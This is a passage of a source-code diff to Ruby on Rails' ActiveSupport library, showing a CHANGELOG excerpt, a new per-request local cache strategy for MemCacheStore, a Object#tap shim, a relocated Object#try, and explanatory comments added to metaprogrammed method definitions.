+* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self. [Jeremy Kemper]
+ array.select { ... }.tap(&:inspect).map { ... }
+
+* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument [Geoff Buesing]
+
+* Updated i18n gem to version 0.1.1 #1635 [Yaroslav Markin]
+
* Add :allow_nil option to delegate. #1127 [Sergio Gil]
* Add Benchmark.ms convenience method to benchmark realtime in milliseconds. [Jeremy Kemper]
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 2ba4e17035..d6fdf21596 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2008 David Heinemeier Hansson
+Copyright (c) 2005-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
index 445d8edf47..33bcf327f8 100644
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ b/activesupport/lib/active_support/buffered_logger.rb
@@ -68,13 +68,13 @@ module ActiveSupport
for severity in Severity.constants
class_eval <<-EOT, __FILE__, __LINE__
- def #{severity.downcase}(message = nil, progname = nil, &block)
- add(#{severity}, message, progname, &block)
- end
-
- def #{severity.downcase}?
- #{severity} >= @level
- end
+ def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
+ add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block)
+ end # end
+ #
+ def #{severity.downcase}? # def debug?
+ #{severity} >= @level # DEBUG >= @level
+ end # end
EOT
end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 6a6c861458..83174d3a85 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -10,6 +10,10 @@ module ActiveSupport
autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
autoload :CompressedMemCacheStore, 'active_support/cache/compressed_mem_cache_store'
+ module Strategy
+ autoload :LocalCache, 'active_support/cache/strategy/local_cache'
+ end
+
# Creates a new CacheStore object according to the given options.
#
# If no arguments are passed to this method, then a new
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index f9a7fb1440..4d8e1fdd67 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -13,6 +13,7 @@ module ActiveSupport
# server goes down, then MemCacheStore will ignore it until it goes back
# online.
# - Time-based expiry support. See #write and the +:expires_in+ option.
+ # - Per-request in memory cache for all communication with the MemCache server(s).
class MemCacheStore < Store
module Response # :nodoc:
STORED = "STORED\r\n"
@@ -38,6 +39,8 @@ module ActiveSupport
addresses = ["localhost"] if addresses.empty?
@addresses = addresses
@data = MemCache.new(addresses, options)
+
+ extend Strategy::LocalCache
end
def read(key, options = nil) # :nodoc:
@@ -80,6 +83,7 @@ module ActiveSupport
def exist?(key, options = nil) # :nodoc:
# Doesn't call super, cause exist? in memcache is in fact a read
# But who cares? Reading is very fast anyway
+ # Local cache is checked first, if it doesn't know then memcache itself is read from
!read(key, options).nil?
end
@@ -94,7 +98,6 @@ module ActiveSupport
def decrement(key, amount = 1) # :nodoc:
log("decrement", key, amount)
-
response = @data.decr(key, amount)
response == Response::NOT_FOUND ? nil : response
rescue MemCache::MemCacheError
@@ -102,6 +105,8 @@ module ActiveSupport
end
def delete_matched(matcher, options = nil) # :nodoc:
+ # don't do any local caching at present, just pass
+ # through and let the error happen
super
raise "Not supported by Memcache"
end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
new file mode 100644
index 0000000000..621358d701
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -0,0 +1,104 @@
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+ # this allows caching of the fact that there is nothing in the remote cache
+ NULL = 'remote_cache_store:null'
+
+ def with_local_cache
+ Thread.current[thread_local_key] = MemoryStore.new
+ yield
+ ensure
+ Thread.current[thread_local_key] = nil
+ end
+
+ def middleware
+ @middleware ||= begin
+ klass = Class.new
+ klass.class_eval(<<-EOS, __FILE__, __LINE__)
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ Thread.current[:#{thread_local_key}] = MemoryStore.new
+ @app.call(env)
+ ensure
+ Thread.current[:#{thread_local_key}] = nil
+ end
+ EOS
+ klass
+ end
+ end
+
+ def read(key, options = nil)
+ value = local_cache && local_cache.read(key)
+ if value == NULL
+ nil
+ elsif value.nil?
+ value = super
+ local_cache.write(key, value || NULL) if local_cache
+ value
+ else
+ # forcing the value to be immutable
+ value.dup
+ end
+ end
+
+ def write(key, value, options = nil)
+ value = value.to_s if respond_to?(:raw?) && raw?(options)
+ local_cache.write(key, value || NULL) if local_cache
+ super
+ end
+
+ def delete(key, options = nil)
+ local_cache.write(key, NULL) if local_cache
+ super
+ end
+
+ def exist(key, options = nil)
+ value = local_cache.read(key) if local_cache
+ if value == NULL
+ false
+ elsif value
+ true
+ else
+ super
+ end
+ end
+
+ def increment(key, amount = 1)
+ if value = super
+ local_cache.write(key, value.to_s) if local_cache
+ value
+ else
+ nil
+ end
+ end
+
+ def decrement(key, amount = 1)
+ if value = super
+ local_cache.write(key, value.to_s) if local_cache
+ value
+ else
+ nil
+ end
+ end
+
+ def clear
+ local_cache.clear if local_cache
+ super
+ end
+
+ private
+ def thread_local_key
+ @thread_local_key ||= "#{self.class.name.underscore}_local_cache".gsub("/", "_").to_sym
+ end
+
+ def local_cache
+ Thread.current[thread_local_key]
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 5cdcaf5ad1..86e66e0588 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -192,13 +192,8 @@ module ActiveSupport
end
def should_run_callback?(*args)
- if options[:if]
- evaluate_method(options[:if], *args)
- elsif options[:unless]
- !evaluate_method(options[:unless], *args)
- else
- true
- end
+ [options[:if]].flatten.compact.all? { |a| evaluate_method(a, *args) } &&
+ ![options[:unless]].flatten.compact.any? { |a| evaluate_method(a, *args) }
end
end
@@ -210,20 +205,24 @@ module ActiveSupport
def define_callbacks(*callbacks)
callbacks.each do |callback|
class_eval <<-"end_eval"
- def self.#{callback}(*methods, &block)
- callbacks = CallbackChain.build(:#{callback}, *methods, &block)
- (@#{callback}_callbacks ||= CallbackChain.new).concat callbacks
- end
-
- def self.#{callback}_callback_chain
- @#{callback}_callbacks ||= CallbackChain.new
-
- if superclass.respond_to?(:#{callback}_callback_chain)
- CallbackChain.new(superclass.#{callback}_callback_chain + @#{callback}_callbacks)
- else
- @#{callback}_callbacks
- end
- end
+ def self.#{callback}(*methods, &block) # def self.before_save(*methods, &block)
+ callbacks = CallbackChain.build(:#{callback}, *methods, &block) # callbacks = CallbackChain.build(:before_save, *methods, &block)
+ @#{callback}_callbacks ||= CallbackChain.new # @before_save_callbacks ||= CallbackChain.new
+ @#{callback}_callbacks.concat callbacks # @before_save_callbacks.concat callbacks
+ end # end
+ #
+ def self.#{callback}_callback_chain # def self.before_save_callback_chain
+ @#{callback}_callbacks ||= CallbackChain.new # @before_save_callbacks ||= CallbackChain.new
+ #
+ if superclass.respond_to?(:#{callback}_callback_chain) # if superclass.respond_to?(:before_save_callback_chain)
+ CallbackChain.new( # CallbackChain.new(
+ superclass.#{callback}_callback_chain + # superclass.before_save_callback_chain +
+ @#{callback}_callbacks # @before_save_callbacks
+ ) # )
+ else # else
+ @#{callback}_callbacks # @before_save_callbacks
+ end # end
+ end # end
end_eval
end
end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 186ca69c05..c795871474 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -11,17 +11,17 @@ class Class
syms.flatten.each do |sym|
next if sym.is_a?(Hash)
class_eval(<<-EOS, __FILE__, __LINE__)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
-
- def #{sym}
- @@#{sym}
- end
+ unless defined? @@#{sym} # unless defined? @@hair_colors
+ @@#{sym} = nil # @@hair_colors = nil
+ end # end
+ #
+ def self.#{sym} # def self.hair_colors
+ @@#{sym} # @@hair_colors
+ end # end
+ #
+ def #{sym} # def hair_colors
+ @@#{sym} # @@hair_colors
+ end # end
EOS
end
end
@@ -30,19 +30,19 @@ class Class
options = syms.extract_options!
syms.flatten.each do |sym|
class_eval(<<-EOS, __FILE__, __LINE__)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
-
- #{"
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- " unless options[:instance_writer] == false }
+ unless defined? @@#{sym} # unless defined? @@hair_colors
+ @@#{sym} = nil # @@hair_colors = nil
+ end # end
+ #
+ def self.#{sym}=(obj) # def self.hair_colors=(obj)
+ @@#{sym} = obj # @@hair_colors = obj
+ end # end
+ #
+ #{" #
+ def #{sym}=(obj) # def hair_colors=(obj)
+ @@#{sym} = obj # @@hair_colors = obj
+ end # end
+ " unless options[:instance_writer] == false } # # instance writer above is generated unless options[:instance_writer] == false
EOS
end
end
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index 368317df9b..000ccf4d55 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -9,22 +9,23 @@ class Class
class_name_to_stop_searching_on = self.superclass.name.blank? ? "Object" : self.superclass.name
names.each do |name|
class_eval <<-EOS
- def self.#{name}
- if defined?(@#{name})
- @#{name}
- elsif superclass < #{class_name_to_stop_searching_on} && superclass.respond_to?(:#{name})
- superclass.#{name}
- end
- end
- def #{name}
- self.class.#{name}
- end
- def self.#{name}?
- !!#{name}
- end
- def #{name}?
- !!#{name}
- end
+ def self.#{name} # def self.only_reader
+ if defined?(@#{name}) # if defined?(@only_reader)
+ @#{name} # @only_reader
+ elsif superclass < #{class_name_to_stop_searching_on} && # elsif superclass < Object &&
+ superclass.respond_to?(:#{name}) # superclass.respond_to?(:only_reader)
+ superclass.#{name} # superclass.only_reader
+ end # end
+ end # end
+ def #{name} # def only_reader
+ self.class.#{name} # self.class.only_reader
+ end # end
+ def self.#{name}? # def self.only_reader?
+ !!#{name} # !!only_reader
+ end # end
+ def #{name}? # def only_reader?
+ !!#{name} # !!only_reader
+ end # end
EOS
end
end
@@ -32,9 +33,9 @@ class Class
def superclass_delegating_writer(*names)
names.each do |name|
class_eval <<-EOS
- def self.#{name}=(value)
- @#{name} = value
- end
+ def self.#{name}=(value) # def self.only_writer=(value)
+ @#{name} = value # @only_writer = value
+ end # end
EOS
end
end
diff --git a/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb b/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
index e6143a274b..1794afe77c 100644
--- a/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
@@ -11,13 +11,13 @@ class Class # :nodoc:
syms.each do |sym|
next if sym.is_a?(Hash)
class_eval <<-EOS
- def self.#{sym}
- read_inheritable_attribute(:#{sym})
- end
-
- def #{sym}
- self.class.#{sym}
- end
+ def self.#{sym} # def self.before_add_for_comments
+ read_inheritable_attribute(:#{sym}) # read_inheritable_attribute(:before_add_for_comments)
+ end # end
+ #
+ def #{sym} # def before_add_for_comments
+ self.class.#{sym} # self.class.before_add_for_comments
+ end # end
EOS
end
end
@@ -26,15 +26,15 @@ class Class # :nodoc:
options = syms.extract_options!
syms.each do |sym|
class_eval <<-EOS
- def self.#{sym}=(obj)
- write_inheritable_attribute(:#{sym}, obj)
- end
-
- #{"
- def #{sym}=(obj)
- self.class.#{sym} = obj
- end
- " unless options[:instance_writer] == false }
+ def self.#{sym}=(obj) # def self.color=(obj)
+ write_inheritable_attribute(:#{sym}, obj) # write_inheritable_attribute(:color, obj)
+ end # end
+ #
+ #{" #
+ def #{sym}=(obj) # def color=(obj)
+ self.class.#{sym} = obj # self.class.color = obj
+ end # end
+ " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false
EOS
end
end
@@ -43,15 +43,15 @@ class Class # :nodoc:
options = syms.extract_options!
syms.each do |sym|
class_eval <<-EOS
- def self.#{sym}=(obj)
- write_inheritable_array(:#{sym}, obj)
- end
-
- #{"
- def #{sym}=(obj)
- self.class.#{sym} = obj
- end
- " unless options[:instance_writer] == false }
+ def self.#{sym}=(obj) # def self.levels=(obj)
+ write_inheritable_array(:#{sym}, obj) # write_inheritable_array(:levels, obj)
+ end # end
+ #
+ #{" #
+ def #{sym}=(obj) # def levels=(obj)
+ self.class.#{sym} = obj # self.class.levels = obj
+ end # end
+ " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false
EOS
end
end
@@ -60,15 +60,15 @@ class Class # :nodoc:
options = syms.extract_options!
syms.each do |sym|
class_eval <<-EOS
- def self.#{sym}=(obj)
- write_inheritable_hash(:#{sym}, obj)
- end
-
- #{"
- def #{sym}=(obj)
- self.class.#{sym} = obj
- end
- " unless options[:instance_writer] == false }
+ def self.#{sym}=(obj) # def self.nicknames=(obj)
+ write_inheritable_hash(:#{sym}, obj) # write_inheritable_hash(:nicknames, obj)
+ end # end
+ #
+ #{" #
+ def #{sym}=(obj) # def nicknames=(obj)
+ self.class.#{sym} = obj # self.class.nicknames = obj
+ end # end
+ " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false
EOS
end
end
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index d2d9699d01..8d9f023361 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -31,7 +31,7 @@ module ActiveSupport #:nodoc:
#
# This method is aliased to <tt>to_s</tt>.
#
- # ==== Examples:
+ # ==== Examples
# date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
#
# date.to_formatted_s(:db) # => "2007-11-10"
@@ -76,7 +76,7 @@ module ActiveSupport #:nodoc:
# Converts a Date instance to a Time, where the time is set to the beginning of the day.
# The timezone can be either :local or :utc (default :local).
#
- # ==== Examples:
+ # ==== Examples
# date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
#
# date.to_time # => Sat Nov 10 00:00:00 0800 2007
@@ -90,7 +90,7 @@ module ActiveSupport #:nodoc:
# Converts a Date instance to a DateTime, where the time is set to the beginning of the day
# and UTC offset is set to 0.
#
- # ==== Example:
+ # ==== Examples
# date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
#
# date.to_datetime # => Sat, 10 Nov 2007 00:00:00 0000
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index c0175a5f28..7c948267b3 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -25,7 +25,7 @@ module ActiveSupport #:nodoc:
#
# This method is aliased to <tt>to_s</tt>.
#
- # === Examples:
+ # === Examples
# datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0) # => Tue, 04 Dec 2007 00:00:00 +0000
#
# datetime.to_formatted_s(:db) # => "2007-12-04 00:00:00"
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index a254e45624..991a5a6a89 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -75,7 +75,7 @@ module ActiveSupport #:nodoc:
# Converts a hash into a string suitable for use as a URL query string. An optional <tt>namespace</tt> can be
# passed to enclose the param names (see example below).
#
- # ==== Example:
+ # ==== Examples
# { :name => 'David', :nationality => 'Danish' }.to_query # => "name=David&nationality=Danish"
#
# { :name => 'David', :nationality => 'Danish' }.to_query('user') # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index 7312bcb416..af9d372d76 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -38,7 +38,7 @@ module ActiveSupport #:nodoc:
# Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
# as keys, this will fail.
#
- # ==== Examples:
+ # ==== Examples
# { :name => "Rob", :years => "28" }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key(s): years"
# { :name => "Rob", :age => "28" }.assert_valid_keys("name", "age") # => raises "ArgumentError: Unknown key(s): name, age"
# { :name => "Rob", :age => "28" }.assert_valid_keys(:name, :age) # => passes, raises nothing
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 88df49a69f..d845a6d8ca 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -24,10 +24,17 @@ module ActiveSupport #:nodoc:
end
# Replaces the hash with only the given keys.
+ # Returns a hash contained the removed key/value pairs
+ # {:a => 1, :b => 2, :c => 3, :d => 4}.slice!(:a, :b) # => {:c => 3, :d =>4}
def slice!(*keys)
- replace(slice(*keys))
+ keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
+ omit = slice(*self.keys - keys)
+ hash = slice(*keys)
+ replace(hash)
+ omit
end
end
end
end
end
+
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
index 24fe7294c9..858da7aa07 100644
--- a/activesupport/lib/active_support/core_ext/logger.rb
+++ b/activesupport/lib/active_support/core_ext/logger.rb
@@ -3,12 +3,12 @@
class Logger
def self.define_around_helper(level)
module_eval <<-end_eval
- def around_#{level}(before_message, after_message, &block)
- self.#{level}(before_message)
- return_value = block.call(self)
- self.#{level}(after_message)
- return return_value
- end
+ def around_#{level}(before_message, after_message, &block) # def around_debug(before_message, after_message, &block)
+ self.#{level}(before_message) # self.debug(before_message)
+ return_value = block.call(self) # return_value = block.call(self)
+ self.#{level}(after_message) # self.debug(after_message)
+ return return_value # return return_value
+ end # end
end_eval
end
[:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
index e640f64520..10fa520ba1 100644
--- a/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -64,9 +64,9 @@ module ActiveSupport
# e.title # => "Megastars"
def alias_attribute(new_name, old_name)
module_eval <<-STR, __FILE__, __LINE__+1
- def #{new_name}; self.#{old_name}; end
- def #{new_name}?; self.#{old_name}?; end
- def #{new_name}=(v); self.#{old_name} = v; end
+ def #{new_name}; self.#{old_name}; end # def subject; self.title; end
+ def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end
+ def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end
STR
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb b/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
index 683789d853..4d0198f028 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
@@ -22,10 +22,10 @@ class Module
raise 'Default value or block required' unless !default.nil? || block
define_method(sym, block_given? ? block : Proc.new { default })
module_eval(<<-EVAL, __FILE__, __LINE__)
- def #{sym}=(value)
- class << self; attr_reader :#{sym} end
- @#{sym} = value
- end
+ def #{sym}=(value) # def age=(value)
+ class << self; attr_reader :#{sym} end # class << self; attr_reader :age end
+ @#{sym} = value # @age = value
+ end # end
EVAL
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 51e1c9af90..9402cb8534 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -15,17 +15,17 @@ class Module
syms.each do |sym|
next if sym.is_a?(Hash)
class_eval(<<-EOS, __FILE__, __LINE__)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
-
- def #{sym}
- @@#{sym}
- end
+ unless defined? @@#{sym} # unless defined? @@pagination_options
+ @@#{sym} = nil # @@pagination_options = nil
+ end # end
+ #
+ def self.#{sym} # def self.pagination_options
+ @@#{sym} # @@pagination_options
+ end # end
+ #
+ def #{sym} # def pagination_options
+ @@#{sym} # @@pagination_options
+ end # end
EOS
end
end
@@ -34,19 +34,19 @@ class Module
options = syms.extract_options!
syms.each do |sym|
class_eval(<<-EOS, __FILE__, __LINE__)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
-
- #{"
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- " unless options[:instance_writer] == false }
+ unless defined? @@#{sym} # unless defined? @@pagination_options
+ @@#{sym} = nil # @@pagination_options = nil
+ end # end
+ #
+ def self.#{sym}=(obj) # def self.pagination_options=(obj)
+ @@#{sym} = obj # @@pagination_options = obj
+ end # end
+ #
+ #{" #
+ def #{sym}=(obj) # def pagination_options=(obj)
+ @@#{sym} = obj # @@pagination_options = obj
+ end # end
+ " unless options[:instance_writer] == false } # # instance writer above is generated unless options[:instance_writer] == false
EOS
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 5c75bd4938..fb4b5f0f3c 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -112,9 +112,9 @@ class Module
methods.each do |method|
module_eval(<<-EOS, "(__DELEGATION__)", 1)
- def #{prefix}#{method}(*args, &block)
- #{allow_nil}#{to}.__send__(#{method.inspect}, *args, &block)
- end
+ def #{prefix}#{method}(*args, &block) # def customer_name(*args, &block)
+ #{allow_nil}#{to}.__send__(#{method.inspect}, *args, &block) # client && client.__send__(:name, *args, &block)
+ end # end
EOS
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/synchronization.rb b/activesupport/lib/active_support/core_ext/module/synchronization.rb
index 251606024e..069db3fed0 100644
--- a/activesupport/lib/active_support/core_ext/module/synchronization.rb
+++ b/activesupport/lib/active_support/core_ext/module/synchronization.rb
@@ -26,11 +26,11 @@ class Module
end
module_eval(<<-EOS, __FILE__, __LINE__)
- def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)
- #{with}.synchronize do
- #{aliased_method}_without_synchronization#{punctuation}(*args, &block)
- end
- end
+ def #{aliased_method}_with_synchronization#{punctuation}(*args, &block) # def expire_with_synchronization(*args, &block)
+ #{with}.synchronize do # @@lock.synchronize do
+ #{aliased_method}_without_synchronization#{punctuation}(*args, &block) # expire_without_synchronization(*args, &block)
+ end # end
+ end # end
EOS
alias_method_chain method, :synchronization
diff --git a/activesupport/lib/active_support/core_ext/object/misc.rb b/activesupport/lib/active_support/core_ext/object/misc.rb
index 46f9c7d676..4acdfa3d6c 100644
--- a/activesupport/lib/active_support/core_ext/object/misc.rb
+++ b/activesupport/lib/active_support/core_ext/object/misc.rb
@@ -40,6 +40,21 @@ class Object
value
end
+ # Yields <code>x</code> to the block, and then returns <code>x</code>.
+ # The primary purpose of this method is to "tap into" a method chain,
+ # in order to perform operations on intermediate results within the chain.
+ #
+ # (1..10).tap { |x| puts "original: #{x.inspect}" }.to_a.
+ # tap { |x| puts "array: #{x.inspect}" }.
+ # select { |x| x%2 == 0 }.
+ # tap { |x| puts "evens: #{x.inspect}" }.
+ # map { |x| x*x }.
+ # tap { |x| puts "squares: #{x.inspect}" }
+ def tap
+ yield self
+ self
+ end unless Object.respond_to?(:tap)
+
# An elegant way to factor duplication out of options passed to a series of
# method calls. Each method called in the block, with the block variable as
# the receiver, will have its options merged with the default +options+ hash
@@ -72,21 +87,4 @@ class Object
respond_to? "acts_like_#{duck}?"
end
- # Tries to send the method only if object responds to it. Return +nil+ otherwise.
- # It will also forward any arguments and/or block like Object#send does.
- #
- # ==== Example :
- #
- # # Without try
- # @person ? @person.name : nil
- #
- # With try
- # @person.try(:name)
- #
- # # try also accepts arguments/blocks for the method it is trying
- # Person.try(:find, 1)
- # @people.try(:map) {|p| p.name}
- def try(method, *args, &block)
- send(method, *args, &block) if respond_to?(method, true)
- end
end
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
index 932bdedad3..45b0826b62 100644
--- a/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -15,7 +15,7 @@ module ActiveSupport #:nodoc:
end
# Gives a human readable format of the range.
#
- # ==== Example:
+ # ==== Example
#
# [1..100].to_formatted_s # => "1..100"
def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/try.rb b/activesupport/lib/active_support/core_ext/try.rb
new file mode 100644
index 0000000000..0dccd40c55
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/try.rb
@@ -0,0 +1,30 @@
+class Object
+ # Tries to send the method only if object responds to it. Return +nil+ otherwise.
+ # It will also forward any arguments and/or block like Object#send does.
+ #
+ # ==== Examples
+ #
+ # Without try
+ # @person && @person.name
+ # or
+ # @person ? @person.name : nil
+ #
+ # With try
+ # @person.try(:name)
+ #
+ # Try also accepts arguments/blocks for the method it is trying
+ # Person.try(:find, 1)
+ # @people.try(:collect) {|p| p.name}
+ #--
+ # This method def is for rdoc only. The alias_method below overrides it as an optimization.
+ def try(method, *args, &block)
+ send(method, *args, &block)
+ end
+ alias_method :try, :__send__
+end
+
+class NilClass
+ def try(*args)
+ nil
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 25b26e9c96..d20151661b 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -90,10 +90,15 @@ module ActiveSupport
method_names.each do |method_name|
alias_method_chain(method_name, :deprecation) do |target, punctuation|
class_eval(<<-EOS, __FILE__, __LINE__)
- def #{target}_with_deprecation#{punctuation}(*args, &block)
- ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:#{method_name}, #{options[method_name].inspect}), caller)
- #{target}_without_deprecation#{punctuation}(*args, &block)
- end
+ def #{target}_with_deprecation#{punctuation}(*args, &block) # def generate_secret_with_deprecation(*args, &block)
+ ::ActiveSupport::Deprecation.warn( # ::ActiveSupport::Deprecation.warn(
+ self.class.deprecated_method_warning( # self.class.deprecated_method_warning(
+ :#{method_name}, # :generate_secret,
+ #{options[method_name].inspect}), # "You should use ActiveSupport::SecureRandom.hex(64)"),
+ caller # caller
+ ) # )
+ #{target}_without_deprecation#{punctuation}(*args, &block) # generate_secret_without_deprecation(*args, &block)
+ end # end
EOS
end
end
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index fdb219dbf7..9da4048272 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -16,7 +16,7 @@ module ActiveSupport
protected
# matches YAML-formatted dates
- DATE_REGEX = /^\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?$/
+ DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?)$/
# Ensure that ":" and "," are always followed by a space
def convert_json_to_yaml(json) #:nodoc:
diff --git a/activesupport/lib/active_support/json/encoders/date.rb b/activesupport/lib/active_support/json/encoders/date.rb
index 1fc99c466f..cc84de1388 100644
--- a/activesupport/lib/active_support/json/encoders/date.rb
+++ b/activesupport/lib/active_support/json/encoders/date.rb
@@ -2,7 +2,7 @@ class Date
# Returns a JSON string representing the date. If ActiveSupport.use_standard_json_time_format is set to true, the
# ISO 8601 format is used.
#
- # ==== Examples:
+ # ==== Examples
#
# # With ActiveSupport.use_standard_json_time_format = true
# Date.new(2005,2,1).to_json
diff --git a/activesupport/lib/active_support/json/encoders/date_time.rb b/activesupport/lib/active_support/json/encoders/date_time.rb
index e259930033..6c85824105 100644
--- a/activesupport/lib/active_support/json/encoders/date_time.rb
+++ b/activesupport/lib/active_support/json/encoders/date_time.rb
@@ -2,7 +2,7 @@ class DateTime
# Returns a JSON string representing the datetime. If ActiveSupport.use_standard_json_time_format is set to true, the
# ISO 8601 format is used.
#
- # ==== Examples:
+ # ==== Examples
#
# # With ActiveSupport.use_standard_json_time_format = true
